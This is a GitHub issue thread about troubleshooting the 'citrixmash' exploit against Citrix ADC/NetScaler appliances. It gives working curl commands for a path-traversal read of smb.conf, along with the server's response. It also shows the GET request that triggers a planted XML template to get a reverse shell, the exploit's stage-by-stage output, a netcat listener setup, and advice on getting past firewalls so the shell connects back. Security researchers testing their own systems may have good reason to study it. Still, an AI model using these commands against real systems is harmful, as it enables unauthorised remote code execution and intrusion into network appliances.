Closed squ1ddy closed 4 years ago
The 403 forbidden would represent that it isn't vulnerable.
The command:
curl -vk --path-as-is https://obfuscatedtargetip/vpn/../vpns/cfg/smb.conf
It would result in a smb.conf file that contains the [global] variable and the rest of the configuration.
If it is not staying open and immediately exits the tool, it usually represents that is unable to connect directly to the system. This could be the port itself is already bound, I would use a nonstandard port like 8080 for example and not 443. The listener is a publicly facing IP address correct? I just tested it again to confirm and it's connecting immediately and the shell remains open along with the script.
When running the curl command, the GET request should return the internals of the smb.conf file like an example below:
[global] encrypt passwords = yes name resolve order = lmhosts wins host bcast
OK - Thanks very much for checking and confirming that the script remains open/waiting.
The curl command definitely returns the smb.conf file
< HTTP/1.1 200 OK
< Age: 1
< Date: Sat, 11 Jan 2020 15:05:06 GMT
< Connection: Keep-Alive
< Via: NS-CACHE-10.0: 66
< ETag: "61ae-53-569b8aaccca00"
< Server: Apache
< Last-Modified: Fri, 13 Apr 2018 10:52:24 GMT
< Accept-Ranges: bytes
< Content-Length: 83
< X-Frame-Options: SAMEORIGIN
< Keep-Alive: timeout=15, max=100
< Content-Type: text/plain
< Strict-Transport-Security: max-age=157680000
<
[global]
encrypt passwords = yes
name resolve order = lmhosts wins host bcast
Yes the listener is on a public facing IP and I've tested connecting to it from my local machine here and works perfectly. I was initially using a non-standard port (40001 - didn't work) but thought an outbound firewall implicit deny may be causing issues so then went to something then I thought would be open.
I don't have access to the firewall to confirm but can check with network ops team tomorrow.
If the appliance wasn't vulnerable would you still expect the .xml to be created?
If the xml file is being written out it is 100% vulnerable. The file gets written out by calling the directory traversal vulnerability and calling a perl file located in the vpns directory. It writes out the code directly to the xml file itself which is the crux of the vulnerability. If you aren't getting a shell back, I would assume firewall rules not allowing it outbound from your use case. It's working on all of the tests we've run on our systems, shell comes back almost immediately upon execution.
Cool, well it's definitely vulnerable then because .xml files are definitely there:
root@redactedhost# cd /netscaler/portal/templates/
root@redactedhost# ls
Tn6dS.xml f_services.html newbm.html
awtuhxornr.xml filetransfer.html ping.html
boilerplate.tmpl ftlist.html preferences.html
bookmark.html globalBK.tmpl qjogsuetih.xml
changepwd.html globalFS.tmpl resources.tmpl
chpwdsuccess.html homepage.html rmbm.html
colorpicker.html homepage2.html rmft.html
eodxxuxxkn.xml j_services.html styles.css
err2002.html loadresources.tmpl themes.html
err2004.html menu.tmpl tips.html
err2005.html missing.html wrapper.tmpl
err2006.html navthemes.html
error.html navwrapper.tmpl
So once the .xml file is in place all you have to do is GET the .xml and the shell will pop again? Such as:
curl -vk --path-as-is 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0' -H 'NSC_USER: arethdfg' -H 'NSC_NONCE: 12344321' "https://redactedhost/vpn/../vpns/portal/eodxxuxxkn.xml"
Appreciate the assistance.
Yep that'll do it! The first is to write out the file (POST), the second is a GET request to trigger it. That above would do it.
Going to close this one out. Let me know if you need anything else.
Someone reported that in Citrix ADC VPX R13 that the path needs to be specified in Python. Give it another shot and see if it works now. Not sure what you are using but this could have been the issue you saw.
I pushed a new version, just git pull and check it out.
@trustedsec Yep that fixed it! Thanks for the persistence :)
The updated version of citrixmash says the target has been patched, but there is a vulnerable system confirmed by the manual scanning. Also the listener doesn't connect back in the previous versions.
I'm not able to confirm this, I have a few different versions of Citrix running and they all connect back with the shell and works perfect on pretty much every version of ADC.
[] Firing STAGE1 POST request to create the XML template exploit to disk...
[] Saving filename as rblbruriez.xml on the victim machine...
[] Sleeping for 2 seconds to ensure file is written before we call it...
[] Triggering GET request for the newly created file with a listener waiting...
[*] Shell should now be in your listener... enjoy. Keep this window open..
[!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/
Connection from
Hi,
Thanks for your research on this.
After running exploit it fires and I can confirm that the .xml artefact (tnnwzvreuu.xml) is created on the disk but the shell does not connect (listener created with nc -vlk 443)
Script output says 'Keep this window open' yet it bombs straight back out of the command and is not in a 'waiting' state.
Can confirm system is vulnerable as command below returns the smb.conf file:
curl -vk --path-as-is https://obfuscatedtargetip/vpn/../vpns/cfg/smb.conf
And:
curl -vk --path-as-is https://obfuscatedtargetip/vpn/../vpns/
Returns:
Have confirmed outbound traffic is allowed to destination nc listener on 443.
Any assistance